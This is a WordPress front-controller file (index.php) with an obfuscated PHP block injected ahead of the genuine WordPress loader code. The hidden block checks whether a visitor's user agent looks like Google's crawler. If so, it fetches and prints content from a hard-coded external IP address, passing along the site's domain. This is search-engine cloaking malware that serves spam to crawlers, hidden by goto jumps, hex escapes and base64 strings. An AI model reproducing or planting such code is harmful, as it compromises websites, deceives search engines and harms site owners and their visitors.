Filename: ////var/www////1stopsheba/index.php

<?php goto T1JR4; rd0yI: $botbotbotbot = "\56\x2e\x2e" . $_SERVER["\x48\124\x54\120\x5f\125\123\105\x52\x5f\101\107\x45\116\124"]; goto N2lET; N2lET: $botbotbotbot = str_replace("\40", "\55", $botbotbotbot); goto Ec6I6; Ec6I6: if (strpos($botbotbotbot, "\157\x6f\x67\154\x65")) { $xxx = base64_decode("\x4e\x51\75\x3d"); $xxx1 = base64_decode("\x4e\152\x45\75"); $xxx2 = base64_decode("\116\124\147\x3d"); $xxx3 = base64_decode("\115\x54\x55\x3d"); $xxx4 = base64_decode("\x61\x57\x35\x77\144\130\x51\75"); $xxx0 = base64_decode("\141\110\122\60\x63\x44\x6f\x76\x4c\167\x3d\75"); $xxx00 = $xxx . "\x2e" . $xxx1 . "\x2e" . $xxx2 . "\56" . $xxx3; $xxx11 = $xxx4 . "\x2f\77\165\163\145\162\141\147\x65\x6e\164\x3d" . $botbotbotbot . "\x26\x64\x6f\155\141\151\x6e\x3d" . $_SERVER["\x48\x54\x54\x50\137\110\x4f\123\x54"]; $url = $xxx0 . $xxx00 . "\57" . $xxx11; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; if (strpos($result, "\150\162\145\x66\x3d") < 1) { $result = file_get_contents("{$url}"); echo $result; } if (strpos($result, "\x68\162\145\146\75") < 1) { $url = $xxx00; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr}\40\50{$errno}\51\74\x62\x72\x20\x2f\x3e\12"; } else { $req = "\x2f" . $xxx11; $out = "\x47\x45\x54\40{$req}\40\x48\x54\124\120\57\x31\x2e\60\xd\12"; $out .= "\110\x6f\x73\x74\x3a\40{$url}\xd\xa"; $out .= "\x43\157\156\x6e\145\x63\x74\x69\x6f\x6e\72\40\x43\x6c\x6f\x73\x65\xd\xa\xd\xa"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\xa", $text); $text = $text[7]; echo $text; } } goto ARnas; T1JR4: ob_implicit_flush(true); goto ZjCDn; yf_rm: error_reporting(0); goto rd0yI; ZjCDn: ob_end_flush(); goto yf_rm; ARnas: ?><?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';

./Ninja\.